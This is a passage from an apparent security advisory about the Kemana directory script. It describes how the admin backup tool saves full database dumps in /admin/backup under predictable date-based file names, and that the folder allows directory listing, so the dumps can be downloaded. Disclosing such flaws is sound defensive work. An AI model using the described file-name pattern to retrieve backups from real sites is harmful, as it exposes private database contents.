Unique Kemana's features including: CMS engine based on our
qEngine, multiple directories support, user friendly administration

Desc: Kemana stores database backups using the Backup DB tool
with a predictable file name inside the '/admin/backup' directory
as '_Full Backup YYYYMMDD_1.sql' or '_Full Backup YYYYMMDD_1.gz',
which can be exploited to disclose sensitive information by
downloading the file. The '/admin/backup' is also vulnerable to
directory listing by default.

           MySQL 5.6.14
